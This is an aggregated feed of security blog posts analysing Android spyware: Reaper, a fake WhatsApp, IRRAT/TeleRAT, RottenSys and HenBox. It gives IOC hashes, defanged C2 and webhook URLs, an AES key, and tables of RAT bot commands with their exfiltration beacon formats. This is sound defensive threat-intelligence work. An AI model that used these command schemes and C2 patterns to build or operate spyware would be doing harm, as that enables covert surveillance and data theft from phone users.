  • Rooting the device, using a binary called ‘poc’ in the package assets

Additionally, this advanced variant is capable of exfiltrating:

  • Voice recordings from incoming and outgoing calls (saved as _p[Ph]_in_[D].amr or _p[Ph]_out_[D].amr)
  • Call logs (saved as 16_d[TS].json)
  • SMS history (saved as 32_d[TS].json)
  • Contact lists (saved as 144_d[TS].json)
  • Information on registered accounts on the phone (saved as 160_d[TS].json),

In each of these cases, [TS] is the current timestamp in the format yyyyMMddkkmmss, [Ph] is the source or destination phone number for a call, and [D] is the call duration.

While these exfiltration capabilities are shared in common with the original variant, this new variant writes its own call recording library as opposed to using the open source library that was used by its predecessor.

All exfiltrated information is written to the directory /sdcard/_pu on the phone and sent to hxxp://hakproperty.com/new/plat/pu[.]php?do=upload.

Before transmission, the files are AES-encrypted using the key “08D03B0B6BE7FBCD”. This encryption scheme and key is consistent across the two variants.

Post-encryption the files are renamed with the addition of a suffix ‘x’. All created files are deleted after they are sent to the upload server.

When commanded to fetch a list of commands, the list is fetched from

hxxp://hakproperty.com/new/plat/pu[.]php?do=download_rc&aid=" + [64-bit android_id]

Conclusion

The emergence of a new attack vector, followed by the appearance of new variants disguising themselves as currently relevant applications like the Winter Olympics, indicates expanding operations of the Reaper group that are actively in development.

Palo Alto Networks customers benefit from the following protections against these attacks:

  1. AutoFocus customers can track the group’s activity using the Reaper tag.
  2. WildFire detects all related samples with malicious verdicts.
  3. Traps blocks all malicious files associated with this group.

IOCs

Reaper Downloader APK samples
28c69801929f0472cef346880a295cdf4956023cd3d72a1b6e72238f5b033aca
679d6ad1dd6d1078300e24cf5dbd17efea1141b0a619ff08b6cc8ff94cfbb27e
Advanced Variant sample
990d278761f87274a427b348f09475f5da4f924aa80023bf8d2320d981fb3209
Non-APK Reaper-related samples making use of cgalim[.]com
0de087ffb95c88a65e83bd99631d73d0176220e8b740785de78d2d79294f2303
6b1f2dfe805fa0e27139c5a4840042599262dbbf4511a118d3fba3d4ec35f2d7
86887ce368d9a3e7fdf9aa62418cd68daeea62269d17afb059ab64201047e378
d29895aa3f515ec9e345b05882ee02033f75745b15348030803f82372e83277a
d5de09cc5d395919d2d2000f79326a6997f4ec079879b11b05c4d1a1a847ed00

The post Reaper Group’s Updated Mobile Arsenal appeared first on Palo Alto Networks Blog.

Go to Source
Author: Ruchna Nigam

Mobile Menace Monday: Fake WhatsApp can steal info from your phone

Last month, a blogger at My Online Security reported receiving a spam comment containing WhatsApp Plus. Going through the process, they downloaded an APK of this so-called WhatsApp Plus. Where they ended was as stated,

I am not certain exactly what this does, but from the sandbox reports it looks like it has the potential to steal information, photos, phone numbers etc from your mobile phone.  

Indeed, they are correct, as this is a variant of Android/PUP.Riskware.Wtaspin.GB, a Fake WhatsApp riskware that dates back to mid-2017.  But what makes this variant unique is where it leads us.

Whats in a Fake WhatsApp?

As our dear My Online Security blogger did, I too went through the process and downloaded/installed the APK aforementioned in the linked blog. Upon opening the app is the following greeting:

Of special interest is the gold logo in the middle with a URL and handle. Onward, I clicked on AGREE AND CONTINUE to find, oh no, I was out of date!

The message states, Please go to Google Play Store to download latest version — nah, I’d rather click the DOWNLOAD button. Where I was redirected was intriguing.

Into another realm of Fake WhatsApp

Where I landed was on the above URL from the shiny gold logo. Everything on the webpage is written in Arabic.

Here I was on the official website to download Watts Plus Plus WhatsApp—that unusual name could very well be an awkward Google translate, by the way.  Among numerous ads (a developer needs to make some ad revenue after all) was text explaining this developer’s WhatsApp version. Below is the (very) rough translation, with minor condensing to the most pertinent information:

What is Watts Plus Plus Whatsapp Plus?

Is a copy of WattsPlus developed by Abu, there may be no confidence in some users in the download of Whatsapp Plus, but this version has been checked files Wats through special programs and the result is positive is safe , and the version of Watts Plus is updated Abu periodically for the  last issue is a special version of the fans of Watts AP Plus:

Secure:  The antivirus software code has been checked, the Watsp files are encrypted in the Watspec servers and cannot be decrypted and can only be decrypted by Wattsp itself.

Updated to the latest version:  Watts August the company issued almost every two days a simple update, and is almost updated copies of our own every two months periodically until the copies contain only critical updates.

Four numbers in the same phone: In this version you can run up to four numbers in the same phone without a routine or any difficulty

Features

Hide the last appearance of friends completely with the property of hiding the reading and reception, and the disappearance of the current writing and running and hide that you have played a clip and your voice. And hide that you watched the case of your friend (Alasturi).

The possibility of changing the program line completely to many of the ready lines

Provides the security feature of the application by placing a secret number cannot open the application without it.

Provides security for conversations by placing a secret number cannot open the conversation without him.

You can send more than 100 photos at once to your friends.

And many other features

Hide what you saw the situation:  You can in the latest version of WhatsApp + WhatsApp Plus WhatSapp Plus AbuSamad AlRifa’i Hide that you watched the status of friends from privacy options from the top menu.

What is the best feature in WhatsApp Plus WhatsApp Plus What isApp Plus Abu Sadam Rifai  If we activate this option, no one will be able to see you online forever and will not show the date of your last appearance and no one will know you are online even while you are on the wattage .

Hide the second health:  The sender of the messages will not be able to tell you that you received the message.

Hides the blue ones:  The sender cannot tell you that you read the message but in return you know that he has read the messages and only shows you the blue ones.

Hide the current writing:  You can also in the new version and the latest version of WhatsApp + WhatsApp Plus whatsapp plus Abu Saddam Al – Rifai  hide hiding or typing on the other end of the conversation.

Hides recording:  When recording a track.

Hide playback signal:  ie, the sender cannot tell you have listened to the audio track.

Two-way operation:  You can run two versions of Wattsp on one device without a router by downloading Watts 1 and Watts 2.

See the status of people without entering the conversation:  You can see the status of people connected or last seen from the main screen of the program.

What stood out to me was all the abilities to hide oneself in various ways—very spy-like behavior.

Onward to the next version

Sifting through all the ads stating they were the download button, I finally came across the true download link. After updating, I once again came to the same screen shown above with the gold logo. This time, after pressing the AGREE AND CONTINUE button, the next screen asked to verify a phone number.

After doing so, a changelog appeared with fixes to the app’s hiding features.

Click to view slideshow.

Clicking OK to the changelog, what appears to be a functioning version of WhatsApp opens.

Click to view slideshow.

WhatsCode…ur…what’s in the code

The incriminating code of Android/PUP.Riskware.Wtaspin.GB is within receivers, services, and activities starting with com.gb.atnfas. This code is in various fake WhatsApp APKs. The only difference of the aforementioned version from above is the code points to the Arabic webpage to update.

After analyzing several different versions of PUP.Riskware.Wtaspin.GB, it appears all have different URLs from which to update. Thus, everyone is just copy catting the original source code and adding their own “update” website. So, who is the original author of this riskware? Is the Arabic developer, Abu, the originating author?

The code of this riskware is complex. The webpage of the developer claiming to be owner—not so complex. Although I won’t completely rule out the possibility, let’s just say I am skeptical.

No matter the true author or origin of this fake Whatsapp, I suggest sticking with the real WhatsApp on Google Play. Although Google Play has its faults, it’s tremendously safer than some of the sources I came across researching this riskware. Stay safe out there!

The post Mobile Menace Monday: Fake WhatsApp can steal info from your phone appeared first on Malwarebytes Labs.

Go to Source
Author: Nathan Collier

TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target Iranian Users

Summary

Telegram Bots are special accounts that do not require an additional phone number to setup and are generally used to enrich Telegram chats with content from external services or to get customized notifications and news. And while Android malware abusing Telegram’s Bot API to target Iranian users is not fresh news (the emergence of a Trojan using this method called IRRAT was discussed in June and July 2017), we set out to investigate how these Telegram Bots were being abused to command and control malicious Android applications.

This blog details our findings navigating through some Operational Security (OPSEC) fails while sifting through multiple malicious APK variants abusing Telegram’s Bot API; including the discovery of a new Trojan we’ve named “TeleRAT”. TeleRAT not only abuses Telegram’s Bot API for Command and Control (C2), it also abuses it for data exfiltration, unlike IRRAT.

What We Already Know- IRRAT

Based on previous reports, we know Telegram’s Bot API was already being employed by attackers to steal information ranging from SMS and call history to file listings from infected Android devices. The majority of the apps we saw disguise themselves as an app that tells you how many views your Telegram profile received – needless to say, the information provided is inaccurate as Telegram doesn’t allow for populating any such information.

We continue to see IRRAT active in the wild to this date.

We used the below sample for this analysis.

SHA256 1d0770ac48f8661a5d1595538c60710f886c254205b8cf517e118c94b256137d

TeleRAT works by creating and then populating the following files on the phone’s SD Card and sending them to the upload server, after the app’s first launch:

  • “[IMEI] numbers.txt”: Contact information
  • “[IMEI]acc.txt”: List of Google accounts registered on the phone
  • “[IMEI]sms.txt”: SMS history
  • 1.jpg: Picture taken with the front-facing camera
  • Image.jpg: Picture taken with back-facing camera

Finally, it reports back to a Telegram bot (identified by a bot ID hardcoded in each RAT’s source code) with the below beacon, and the application icon is then hidden from the phone’s app menu:

hxxp://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]?text=نصب جدیدn [IMEI] nIMEI : :[IMEI]nAndroid ID : [AndroidID]nModel : [PhoneModel]n[IP] nnIMEI دستگاه: [IMEI]

In the background, the app continues to beacon to the Telegram bot at regular intervals and listens for certain commands, as detailed below.

Command Action Communication to Telegram bot
call@[IMEI]@[Number] Places a call to [Number] hxxps://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]&text=call with [Number]
sms@[IMEI]@[Number]@[Text] SMS [Text] to [Number] hxxps://api.telegram.org/bot[APIKey] /sendmessage?chat_id=[ChatID]&text=sent
getapps@[IMEI] Saves a list of installed apps to SD Card to file named  “[IMEI] apps.txt”, uploads to upload server None
getfiles@[IMEI]@[DirPath] Retrieves file listing from [DirPath], saves to SD Card as “[IMEI]files.txt”, uploads to server None
getloc@[IMEI] Starts a GPS listener that monitors location changes None
upload@[IMEI]@[FilePath] Uploads file at [FilePath] None
removeA@[IMEI]@[FilePath on SDCard] Deletes file at [FilePath on SDCard] https://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]&text= ______________[FilePath on SDCard]
removeB@[IMEI]@[DirPath on SDCard] Deletes [DirPath on SDCard] None
lstmsg@[IMEI] Saves SMS history to SD Card as ”[IMEI]lstmsg.txt”, uploads to server None
yehoo@[IMEI] Takes a picture with Front Camera, saves to SD Card as “yahoo.jpg”, uploads to server None


Table
1: List of IRRAT bot commands

As the table above shows, this IRRAT sample makes use of Telegram’s bot API solely to communicate commands to infected devices. The stolen data is uploaded to third party servers, several of which employ a webhosting service. Fortunately for us, these servers had several OPSEC fails. More on that further below.

A New Family- TeleRAT

While sifting through IRRAT samples, using AutoFocus, we came across another family of Android RATs seemingly originating from and/or targeting individuals in Iran that not only makes use of the Telegram API for C2 but also for exfiltrating stolen information.

Telerat_1

Figure 1: pivoting in autofocus for applications using the Telegram bot API

We named this new family “TeleRAT” after one of the files it creates on infected devices.

We used the below sample for this analysis.

SHA256 01fef43c059d6b37be7faf47a08eccbf76cf7f050a7340ac2cae11942f27eb1d

Post-installation TeleRAT creates two files in the app’s internal directory:

  • telerat2.txt containing a slew of information about the device – including the System Bootloader version number, total and available Internal and External memory size, and number of cores.
  • thisapk_slm.txt mentioning a Telegram channel and a list of commands. We investigate this Telegram channel is greater detail further below.

The RAT announces its successful installation to the attackers by sending a message to a Telegram bot via the Telegram Bot API with the current date and time.

More interestingly, it starts a service that listens for changes made to the Clipboard in the background.

Telerat_2

Figure 2: Code snippet that listens for clipboard changes

Finally, the app fetches updates from the Telegram bot API every 4.6 second, listening for the following commands (we used Google Translate for the below Farsi (Persian) translations):

 

Command Translation
دریافت مخاطبین Get contacts
دریافت کلیپ بورد Get the clipboard
Clipboard set:[text]
دریافت مکان Get location
دریافت اطلاعات شارژ Receive charging information
All file list:/[path]
Root file list:/[path]
دریافت برنامه ها Get apps
1Downloadfile/[filename]
2Downloadfile/[filename]
CreateContact/[name]/[number]
SetWallpaper http[URL]
دریافت پیام ها Receive (SMS) messages
Sendsmsfor/[destination]/[text]
MessageShow[text]
گرفتن عکس1 Take photo 1 (front camera)
گرفتن عکس2 Take photo 2 (back camera)
دریافت وضعیت Get status
دریافت تماس ها Receive calls
DeleteDir[dirname]
سایلنت Silent (set to Vibrate mode)
صدادار Loud (set to normal Ringer mode)
بیصدا Silent (set to Silent mode)
Blacksc Blacks out phone screen
Blackscf Clears black screen
ضبط فیلم Audio recording (saves recorded audio to AUDIO123/MUSIC/rec123.m4a on SD Card)
توقف ضبط فیلم Stop audio recording
راهنمای دستورات Instruction manual (Help Menu)
call to [number]
RESET (deletes thisapk_slm.txt and sends a new registration message to Telegram bot)
دریافت گالری Get gallery (sends files from the /Dcim folder on the SD Card to Telegram bot)
Delete app files or دریافت گالری
Vibrate [x] (Causes phone to vibrate for x seconds, with a maximum value of 600 secs)
لرزش کم Low vibration (for a duration of 150 secs)
لرزش متوسط Medium vibration (350 secs)
لرزش زیاد Shake too much (600 secs)


Table
2: List of TeleRAT bot commands

Aside from additional commands, this new family’s main differentiator to IRRAT is that it also uploads exfiltrated data using Telegram’s sendDocument API method.

Telerat_3

Figure 3: Code snippet showing the use of the SendDocument Telegram bot API method

TeleRAT is an upgrade from IRRAT in that it eliminates the possibility of network-based detection that is based on traffic to known upload servers, as all communication (including uploads) is done via the Telegram bot API. However, it still leaves other doors open via Telegram’s bot API, since the API Keys are hardcoded in the APKs.

The API allows fetching updates by two means:

1.The getUpdates method: Using this exposes a history of all the commands that were sent to the bot, including usernames from which the commands originated. From the bots that were still responding and had an update history (incoming updates are only kept for 24 hours as per Telegram’s policy), we were able to find bot commands originating from four Telegram accounts, shown below.

Telerat_5

Figure 4: Telegram usernames revealed from bot command histories

2. Using a Webhook: Telegram allows redirecting all bot updates to a URL specified by means of a Webhook. Their policy limits these Webhooks to HTTPS URLs only. While most of the Webhooks we found used certificates issued by Let’s Encrypt with no specific registrar information, some of them led us back to the world of third party webhosting and open directories. Let’s Encrypt has been notified about this activity.

A sample of only a few Webhooks we found are shown below. hxxps://mr-mehran[.]tk/pot/Bot/ in particular appears to be hosting close to 6500 bots, however, we can’t confirm whether they’re all used for malicious purposes.

Telerat_6

Figure 5: Webhooks found associated with some TeleRAT bots

OPSEC Fails, Distribution Channels & Attribution

In our research we were able find what was clearly an image of the botmaster testing out the RAT, based on the Telegram bot interface that can be seen on the monitor pictured in the lower half of Figure 6.

Telerat_7

Figure 6: Image of botmaster testing out the RAT

We were also able to find exfiltrated messages that confirmed our theory about the test run and reveals a thread in Persian Farsi seemingly discussing bot setup.

“صبح ساعت ۶ انلاین شو تا روباته رو امتحان کنیم”

Google Translation: “Morning 6 hours online to try the robotage

While investigating attribution for TeleRAT, we noticed the developers made no effort to hide their identities in the code. One username is seen in the screenshot below.

Telerat_7_real

Figure 7: Telegram channel advertised in source code

Looking further into the ‘vahidmail67’ Telegram channel, we found advertisements for applications and builders that ran the entire gamut – from applications that get you likes and followers on Instagram, to ransomware, and even the source code for an unnamed RAT (complete with a video tutorial, shown below).

Telerat_8

Figure 8: Screenshot from a Telegram channel advertising & sharing a RAT source code

Aside from the Telegram channel, while looking for references to certain TeleRAT components we stumbled upon some threads on an Iranian programmers’ forum advertising the sale of a Telegram bot control library. The forum is frequented by some of the developers whose code is heavily reused in a big portion of the TeleRAT samples we came across.

Telerat_9

Figure 9: Advertisement for sale of a Telegram bot control library

The forum goes the extra mile to mention all content is in accordance with Iran’s laws. However, it’s hard to see any non-malicious use for some of the code advertised there or written by developers that frequent it – for instance, a service that runs in the background listening for changes to the Clipboard (pictured in the code snippet in Figure 3 further above).

Telerat_10

Figure 10: Forum Disclaimer

Overall, TeleRAT pieces together code written by several developers, however, due to freely available source code via Telegram channels and being sold on forums, we can’t point to one single actor commanding either IRRAT or TeleRAT and it appears to be the work of several actors possibly operating inside of Iran.

Victimology

As we investigated these RATs, we also started looking at how victims were getting infected. Further investigating, we witnessed several third-party Android application stores distributing seemingly legitimate applications like “Telegram Finder”, which supposedly helps users locate and communicate with other uses with specific interests, like knitting. Also, we’ve witnessed several samples distributed and shared via both legitimate and nefarious Iranian Telegram channels.

Telerat_11

Figure 11: leIranian third-party application store

Looking closer at the malicious APKs we were able to get an understanding of common application naming conventions and functionality across the board.

Telerat_12

Figure 12: ‘Telegram finder’ application

Based on the samples we analysed, the three most common application names for both IRRATand TeleRAT are:

Native App Name Translated App Name
پروفایل چکر Profile Cheer
بازدید یاب تلگرام Telegram Finder
telegram hacker N/A

Additionally, there were several malicious APKs disguised as fake VPN software and/or configuration files, such as “atom vpn” and “vpn for telegram.

There appears to be a total identified victim count of 2,293 at the time of writing, based on the infrastructure we analysed. There appears to be a rather small range of geographically dispersed victims, with 82% of having Iranian phone numbers.

Iran 1894
Pakistan 10
India 227
Afghanistan 109
United Kingdom 53

There may also be additional infrastructure or variants we were unaware of at the time of writing. That said, the number of victims likely residing within Iran far exceeds the victim count for any other country.

Conclusion

Part of dissecting and understanding new threats involve looking closer at already established campaigns and malware variants. This is a perfect example of just that; looking closer at a previously established malware family to better understand it’s current and possibly changed capabilities.

While malware leveraging the Telegram bot API is not necessarily new, we were able to identify a new family, TeleRAT, hiding entirely behind Telegram’s API to evade network-based detection and exfiltrate data. Leveraging intelligence from AutoFocus, accessible attacker infrastructure, and other open source intelligence we were able to paint an accurate picture of an ongoing operation leveraging Telegram’s API and targeting users via third party application sites and social media channels.

Taking some basic precautions can help users protect themselves from malicious applications like TeleRAT, such as:

  • Avoid third-party application stores or sources.
  • Don’t allow application sideloading on your device.
  • Ensure the application you are installing is official, regardless of source.
  • Closely review and scrutinize application permission requests prior to installation.

Palo Alto Networks customers are protected from this threat by:

  1. WildFire detects all TeleRAT and IRRAT files with malicious verdicts.
  2. AutoFocus customers can track these samples with the IRRAT and TeleRAT
  3. Traps blocks all of the APK files associated with TeleRAT and IRRAT.

APPENDIX

Telegram usernames found commanding IRRAT or TeleRAT

Ahmad_ghob
My_LiFe_M_a_H_s_A
mmm1230a

Webooks

hxxps://mr-mehran.tk/pot/Bot/robotcreat2_bot/Bot/Ejsahahbot/
hxxps://ib3.ibot24.com/394083/
hxxps://rr5.000webhostapp.com/upload_file.php
hxxps://gold.teleagent.ir/bnrdehisaz/index.php
hxxps://shahin-soori.ir/bots/rat/upload_file.php
hxxps://mbosoba.000webhostapp.com/upload_file.php
hxxps://abolking.000webhostapp.com/upload_file.php
hxxps://botmohsan-apk.000webhostapp.com/Bot/bot.php
hxxps://androydiha.ir/bot/Bot/hackelmi_bot/index.php
hxxps://hamidhamid954321.000webhostapp.com/Bot/bot.php
hxxps://mohsan024024.000webhostapp.com/upload_file.php
hxxps://09152104574nazimilad.000webhostapp.com/ربات ساز/CreateBotAll.php
hxxps://darkforceteam.000webhostapp.com/SmartAccounts_Bot/bots/Ratjadidebot/index.php

The post TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target Iranian Users appeared first on Palo Alto Networks Blog.

Go to Source
Author: Ruchna Nigam

Pre-Installed Malware Found On 5 Million Popular Android Phones

Security researchers have discovered a massive continuously growing malware campaign that has already infected nearly 5 million mobile devices worldwide.

Dubbed RottenSys, the malware that disguised as a ‘System Wi-Fi service’ app came pre-installed on millions of brand new smartphones manufactured by Honor, Huawei, Xiaomi, OPPO, Vivo, Samsung and GIONEE—added somewhere along the supply chain.

All these affected devices were shipped through Tian Pai, a Hangzhou-based mobile phone distributor, but researchers are not sure if the company has direct involvement in this campaign.

According to Check Point Mobile Security Team, who uncovered this campaign, RottenSys is an advanced piece of malware that doesn’t provide any secure Wi-Fi related service but takes almost all sensitive Android permissions to enable its malicious activities.

“According to our findings, the RottenSys malware began propagating in September 2016. By March 12, 2018, 4,964,460 devices were infected by RottenSys,” researchers said.

To evade detection, the fake System Wi-Fi service app comes initially with no malicious component and doesn’t immediately start any malicious activity.

Instead, RottenSys has been designed to communicate with its command-and-control servers to get the list of required components, which contain the actual malicious code.

RottenSys then downloads and installs each of them accordingly, using the “DOWNLOAD_WITHOUT_NOTIFICATION” permission that does not require any user interaction.

Hackers Earned $115,000 in Just Last 10 Days

android-hacking-software

At this moment, the massive malware campaign pushes an adware component to all infected devices that aggressively displays advertisements on the device’s home screen, as pop-up windows or full-screen ads to generate fraudulent ad-revenues.

“RottenSys is an extremely aggressive ad network. In the past 10 days alone, it popped aggressive ads 13,250,756 times (called impressions in the ad industry), and 548,822 of which were translated into ad clicks,” researchers said.

According to the CheckPoint researchers, the malware has made its authors more than $115,000 in the last 10 days alone, but the attackers are up to “something far more damaging than simply displaying uninvited advertisements.”

Since RottenSys has been designed to download and install any new components from its C&C server, attackers can easily weaponize or take full control over millions of infected devices.

The investigation also disclosed some evidence that the RottenSys attackers have already started turning millions of those infected devices into a massive botnet network.

Some infected devices have been found installing a new RottenSys component that gives attackers more extensive abilities, including silently installing additional apps and UI automation.

“Interestingly, a part of the controlling mechanism of the botnet is implemented in Lua scripts. Without intervention, the attackers could re-use their existing malware distribution channel and soon grasp control over millions of devices,” researchers noted.

This is not the first time when CheckPoint researchers found top-notch brands affected with the supply chain attack.

Last year, the firm found smartphone belonging to Samsung, LG, Xiaomi, Asus, Nexus, Oppo, and Lenovo, infected with two pieces of pre-installed malware (Loki Trojan and SLocker mobile ransomware) designed to spy on users.

How to Detect and Remove Android Malware?

To check if your device is being infected with this malware, go to Android system settings→ App Manager, and then look for the following possible malware package names:

  • com.android.yellowcalendarz (每日黄历)
  • com.changmi.launcher (畅米桌面)
  • com.android.services.securewifi (系统WIFI服务)
  • com.system.service.zdsgt

If any of above is in the list of your installed apps, simply uninstall it.

Go to Source

HenBox: The Chickens Come Home to Roost

Summary
henbox_1

Unit 42 recently discovered a new Android malware family we named “HenBox” masquerading as a variety of legitimate Android apps.  We chose the name “HenBox” based on metadata found in most of the malicious apps such as package names and signer detail. HenBox masquerades as apps such as VPN and Android system apps and often installs legitimate versions of these apps along with HenBox to trick users into thinking they downloaded the legitimate app. While some of the legitimate apps HenBox use as decoys can be found on Google Play, HenBox apps themselves have only been found on third-party (non-Google Play) app stores.

HenBox appears to primarily target the Uyghurs – a minority Turkic ethnic group that is primarily Muslim and lives mainly in the Xinjiang Uyghur Autonomous Region in North West China. It also targets devices made by Chinese manufacturer Xiaomi and those running MIUI, an operating system based on Google Android made by Xiaomi. Smartphones are the dominant form of internet access in the region and Xinjiang was recently above the national average of internet users in China. The result is a large online population who have been the subject of numerous cyber-attacks in the past.

Once installed, HenBox steals information from the devices from a myriad of sources, including many mainstream chat, communication, and social media apps. The stolen information includes personal and device information. Of note, in addition to tracking the compromised device’s location, HenBox also harvests all outgoing phone numbers with an “86” prefix, which is the country code for the People’s Republic of China (PRC). It can also access the phone’s cameras and microphone.

HenBox has ties to infrastructure used in targeted attacks with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. This also aligns with HenBox’s timeline, as in total we have identified almost 200 HenBox samples, with the oldest dating to 2015. Most of the samples we found date from the last half of 2017, fewer samples date from 2016, and a handful date back to 2015. In 2018, we have already observed a small but consistent number of samples. We believe this indicates a fairly sustained campaign that has gained momentum over recent months.

HenBox Enters the Uyghur App Store

In May 2016, a HenBox app was downloaded from uyghurapps[.]net. Specifically, the app was an Android Package (APK) file that will be discussed in more detail shortly. The domain name, language of the site and app content hosted suggest this site is a third-party app store for whom the intended users are the Uyghurs. Such app stores are so-called because they are not officially supported by Android, nor are they provided by Google, unlike the Play Store. Third-party app stores are ubiquitous in China for a number of reasons including: evermore powerful Chinese Original Equipment Manufacturers (OEM), a lack of an official Chinese Google Play app store, and a growing smartphone market.

The HenBox app downloaded in May 2016 was masquerading as the DroidVPN app. At the time of writing, the content served at the given URL on uyghurapps[.]net, is now a legitimate version of the DroidVPN app, and looks as shown in Figure 1 below.

henbox_2

Figure 1 Uyghurapps[.]net app store showing the current DroidVPN app

Virtual Private Network (VPN) tools allow connections to remote private networks, increasing the security and privacy of the user’s communications. According to the DroidVPN app description, it “helps bypass regional internet restrictions, web filtering and firewalls by tunneling traffic over ICMP.” Some features may require devices to be rooted to function and according to some 3rd party app stores, unconditional rooting is required, which has additional security implications for the device.

We have not been able to ascertain how the DroidVPN app on the uyghurapps[.]net app store was replaced with the malicious HenBox app; however, some indicators point to the server running an outdated version of Apache Web Server on a Windows 32-Bit operating system. In light of this, we believe an attack against unpatched vulnerabilities is a reasonable conjecture for how the server was compromised.

The HenBox app downloaded in May 2016, as described in Table 1 below, masquerades as a legitimate version of the DroidVPN app by using the same app name “DroidVPN” and the same iconography used when displaying the app in Android’s launcher view, as highlighted in Figure 2 below Table 1.

APK SHA256 Size (bytes) First Seen App Package name

 

App name
0589bed1e3b3d6234c30061be3be1cc6685d786ab3a892a8d4dae8e2d7ed92f7 2,740,860 May 2016 com.android.henbox DroidVPN

Table 1 Details of the HenBox DroidVPN app on the uyghurapps[.]net app store

henbox_3

Figure 2 HenBox app installed, purporting to be DroidVPN

Depending on the language setting on the device, and for this particular variant of HenBox, the installed HenBox app may have the name “Backup” but uses the same DroidVPN logo. Other variants use other names and logos, as described later.

Given the DroidVPN look and feel being used by this variant of HenBox, it’s highly likely the uyghurapps[.]net page for DroidVPN remained identical when serving either HenBox or DroidVPN apps, just that the legitimate APK file had been replaced with HenBox for an unknown period of time.

In addition to the look and feel of DroidVPN, this HenBox variant also contained a legitimate DroidVPN app within its APK package as an asset, which could be compared to a resource item within a Windows Portable Executable (PE) file. Once the HenBox app is installed and launched, it launches an install process for the embedded app as a decoy to other malicious behaviors occurring in the background, and to satisfy the victim with the app they were requesting, assuming they requested to download a particular app, such as DroidVPN.

The version of the legitimate DroidVPN embedded inside this HenBox variant is the same version of DroidVPN available for download from uyghurapps[.]net, at the time of writing. It’s worth noting, newer versions of the DroidVPN app are available on Google Play, as well as in some other third-party app stores, which could indicate uyghurapps[.]net is not awfully well maintained or updated to the latest apps available.

At the time of writing, to our knowledge no other third-party app stores, nor the official Google Play store, were or are hosting this malicious HenBox variant masquerading as DroidVPN.

The Right App at the Right Time

The malicious HenBox and embedded DroidVPN app combination is one instance of the type of legitimate apps the attackers choose to mimic to compromise their victims. These threat actors frequently offer malicious apps purporting to be legitimate apps that are broadly used or important to a targeted population. It’s worth noting however, about one-third of the HenBox apps contained embedded APK objects that did not refer to legitimate apps. Some were only 3 bytes long, containing strings such as “ddd” and “333”, or were otherwise corrupted.

Beyond the previously mentioned DroidVPN example, other viable embedded apps we found include apps currently available on Google Play, as well as many third-party app stores. Table 2 below lists some of these apps with their respective metadata.

# Parent APK SHA256 First Seen Package names

(parent APK)

[embedded APK]

APK App names

(parent APK)

[embedded APK]

1 fa5a76e86abb26e48a

f0b312f056d24000bc

969835c40b3f98e5ca

7e301b5bee

April 2016 (com.android.henbox)

[com.ziipin.software]

(Uyghurche Kirguzguch)

[Emojicon]

2 1749df47cf37c09a92

b6a56b64b136f15ec

59c4f55ec835b1e569

c88e1c6e684

May 2017 (cn.android.setting)

[com.apps.amaq]

(设置 (Backup))

[Amaq Agency]

3 4d437d1ac29b1762c

c47f8094a05ab73141

d03f9ce0256d200fc6

91c41d1b6e7

June 2017 (cn.android.setting)

[com.example.ourplayer]

(islamawazi)

[islamawazi]

Table 2 Example HenBox variants containing embedded apps

Sample 1 marks the first HenBox sample we saw embedding a legitimate app within its assets to be dropped and installed on the victim device as a decoy. The legitimate app in question was a Uyghur language keyboard app targeted at native speakers of the Uyghur language and their smartphones.

Sample 2, has the package name cn.android.setting masquerading as Android’s Settings app, which has a similar package name (com.android.settings). This variant of HenBox also used the common green Android figure as the app logo and was named 设置 (“Backup” in English). This variant’s app name, along with many others, is written in Chinese and describes the app as a backup tool. Please see the IOCs section for all app and package name combinations. Interestingly, the embedded app in sample 2 is not a version of the Android Settings app but instead the “Amaq Agency” app, which reports on ISIS related news. Reports indicate fake versions of the Amaq app exist, likely in order to spy on those that use it.

A month after observing sample 2, we obtained another which used the same package name as sample 2 (cn.android.setting). However, this time the app name for both HenBox and the embedded app were identical: Islamawazi.  Islamawazi is also known as the Turkistan Islamic Party or “TIP”. This organization was formerly known as the East Turkestan Islamic Party and is purported to be an Islamic extremist separatist organization founded by Uyghur jihadists. The embedded app appears to be a media player.

These examples, together with the HenBox app placed on a very specific third-party app store, point clearly to at least some of the intended targets of these malicious apps being Uyghurs, specifically those with interest in or association with terrorist groups. These threat actors appear to be choosing the right apps – those that could be popular with locals in the region, at the right time – while tensions grow in this region of China, to ensure a good victim install-base.

HenBox Roosts

HenBox has evolved over the past three years, and of the almost two hundred HenBox apps in AutoFocus, the vast majority contain several native libraries as well as other components in order to achieve their objective. Most components are obfuscated in some way, whether it be simple XOR with a single-byte key, or through the use of ZIP or Zlib compression wrapped with RC4 encryption. These components are responsible for a myriad of functions including handling decryption, network communications, gaining super-user privileges, monitoring system logs, loading additional Dalvik code files, tracking the device location and more.

The remainder of this section describes at a high-level what HenBox is capable of, and how it operates. The description is based on analysis of the sample described in Table 3 below, which was of interest given its C2 domain mefound[.]com overlaps with PlugX, Zupdax, and Poison Ivy malware families discussed in more detail later.

SHA256 Package Name App Name
a6c7351b09a733a1b3ff8a0901c5bde

fdc3b566bfcedcdf5a338c3a97c9f249b

com.android.henbox 备份 (Backup)

Table 3 HenBox variant used in description

Once this variant of HenBox is installed on the victim’s device, the app can be executed in two different ways:

One method for executing HenBox is for the victim to launch the malicious app (named “Backup”, in this instance) from the launcher view on their device, as shown in Figure 3 below. This runs code in the onCreate() method of the app’s MainActivity class, which in effect is the program’s entry point. This process is defined in the app’s AndroidManifest.xml config file, as shown in the following snippet.

            
                
                
            

henbox_4

Figure 3 HenBox app installed and visible on Android’s Launcher view

Doing so executes code checking if the device is manufactured by Xiaomi, or if Xiaomi’s fork of Android is running on the device. Under these conditions, the app continues executing and the intent of targeting Xiaomi devices and users could be inferred, however poorly written code results in execution in more environments than perhaps intended; further checks are made to ascertain whether the app is running on an emulator, perhaps to evade researcher analysis environments. Assuming these checks pass, one of the main ELF libraries is loaded that orchestrates other components and provides functionality to the app’s Dalvik code through the Java Native Interface (JNI).

HenBox checks whether this execution is its first by using Android’s shared preferences feature to persist XML key-value pair data. If it is the first execution, and if the app’s path does not contain “/system/app” (i.e. HenBox is not running as a system app), another ELF library is loaded to aid with executing super-user commands.

